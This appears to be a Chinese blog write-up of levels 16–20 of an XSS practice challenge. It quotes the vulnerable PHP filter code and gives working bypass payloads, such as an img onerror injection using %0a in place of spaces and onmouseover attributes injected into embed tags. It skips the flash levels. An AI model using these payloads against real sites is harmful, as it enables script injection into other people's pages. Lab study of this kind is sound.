1. 程式人生 > 實用技巧 >XSS挑戰賽(4)

XSS挑戰賽(4)

16-20關

第十六關

關鍵程式碼為:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace(" ","",$str2);
$str4=str_replace("/","",$str3);
$str5=str_replace(" ","",$str4);
echo "<center>".$str5."</center>";
?>

對 script,空格 ,/ ,都進行了替換,但是沒有對尖括號進行替換,而不使用script進行彈窗有很多的方式,例如我們使用 img 標籤進行彈窗

payload為

?keyword=<img%0asrc=x%0aonerror=alert(1)>

因為空格被過濾了,所以我們採用一些能夠替換空格的字元進行繞過,這裡使用%0a

十七關

關鍵程式碼為:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

之前使用 htmlspecialchars 函式過濾的地方,我們都是大部分是通過 on 事件來觸發XSS,這裡也一樣,但是中間有等號,需要閉合掉

payload構造為

?arg01=a&arg02=b%0aonmouseover=alert(1)

使用onmouseover滑鼠移動事件來觸發XSS

原始碼為:

十八關

關鍵程式碼為:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

感覺這個程式碼跟前一關差不多

用之前的payload

?arg01=a&arg02=b onmouseover=alert(1)

通過此關

19,20關考點是 flash XSS,需要對flash反編譯對原始碼進行分析,暫時跳過,啥時候學了flash再對這兩關進行補充

以上